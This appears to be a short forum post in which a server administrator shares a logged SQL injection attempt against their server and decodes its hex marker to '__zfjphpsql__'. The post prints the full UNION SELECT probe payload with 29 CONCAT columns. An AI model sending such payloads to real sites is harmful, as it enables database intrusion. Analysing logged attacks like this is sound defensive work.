I saw this come through one of our servers this weekend and found it somewhat curious. Of course none of the attempts actually succeeded :)

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1and 1=2 union select CONCAT(0x5F5F7A666A70687073716C5F5F,1,0x5F5F7A666A70687073716C5F5F),CONCAT(0x5F5F7A666A70687073716C5F5F,2,0x5F5F7A666A70687073716C5F5F),CONCAT(0x5F5F7A666A70687073716C5F5F,3,0x5F5F7A666A70687073716C5F5F),CONCAT(0x5F5F7A666A70687073716C5F5F,4,0x5F5F7A666A70687073716C5F5F),CONCAT(0x5F5F7A666A70687073716C5F5F,5,0x5F5F7A666A70687073716C5F5F),CONCAT(0x5F5F7A666A70687073716C5F5F,6,0x5F5F7A666A70687073716C5F5F),CONCAT(0x5F5F7A666A70687073716C5F5F,7,0x5F5F7A666A70687073716C5F5F),CONCAT(0x5F5F7A666A70687073716C5F5F,8,0x5F5F7A666A70687073716C5F5F),CONCAT(0x5F5F7A666A70687073716C5F5F,9,0x5F5F7A666A70687073716C5F5F),CONCAT(0x5F5F7A666A70687073716C5F5F,10,0x5F5F7A666A70687073716C5F5F),CONCAT(0x5F5F7A666A70687073716C5F5F,11,0x5F5F7A666A70687073716C5F5F),CONCAT(0x5F5F7A666A70687073716C5F5F,12,0x5F5F7A666A70687073716C5F5F),CONCAT(0x5F5F7A666A70687073716C5F5F,13,0x5F5F7A666A70687073716C5F5F),CONCAT(0x5F5F7A666A70687073716C5F5F,14,0x5F5F7A666A70687073716C5F5F),CONCAT(0x5F5F7A666A70687073716C5F5F,15,0x5F5F7A666A70687073716C5F5F),CONCAT(0x5F5F7A666A70687073716C5F5F,16,0x5F5F7A666A70687073716C5F5F),CONCAT(0x5F5F7A666A70687073716C5F5F,17,0x5F5F7A666A70687073716C5F5F),CONCAT(0x5F5F7A666A70687073716C5F5F,18,0x5F5F7A666A70687073716C5F5F),CONCAT(0x5F5F7A666A70687073716C5F5F,19,0x5F5F7A666A70687073716C5F5F),CONCAT(0x5F5F7A666A70687073716C5F5F,20,0x5F5F7A666A70687073716C5F5F),CONCAT(0x5F5F7A666A70687073716C5F5F,21,0x5F5F7A666A70687073716C5F5F),CONCAT(0x5F5F7A666A70687073716C5F5F,22,0x5F5F7A666A70687073716C5F5F),CONCAT(0x5F5F7A666A70687073716C5F5F,23,0x5F5F7A666A70687073716C5F5F),CONCAT(0x5F5F7A666A70687073716C5F5F,24,0x5F5F7A666A70687073716C5F5F),CONCAT(0x5F5F7A666A70687073716C5F5F,25,0x5F5F7A666A70687073716C5F5F),CONCAT(0x5F5F7A666A70687073716C5F5F,26,0x5F5F7A666A70687073716C5F5F),CONCAT(0x5F5F7A666A70687073716C5F5F,27,0x5F5F7A666A70687073716C5F5F),CONCAT(0x5F5F7A666A70687073716C5F5F,28,0x5F5F7A666A70687073716C5F5F),CONCAT(0x5F5F7A666A70687073716C5F5F,29,0x5F5F7A666A70687073716C5F5F) and ''='

The recurring item here is:

CONCAT(0x5F5F7A666A70687073716C5F5F,1,0x5F5F7A666A70687073716C5F5F)

going further we have:

0x5F5F7A666A70687073716C5F5F

that decodes to

__zfjphpsql__

CONCAT(__zfjphpsql__,1,__zfjphpsql__)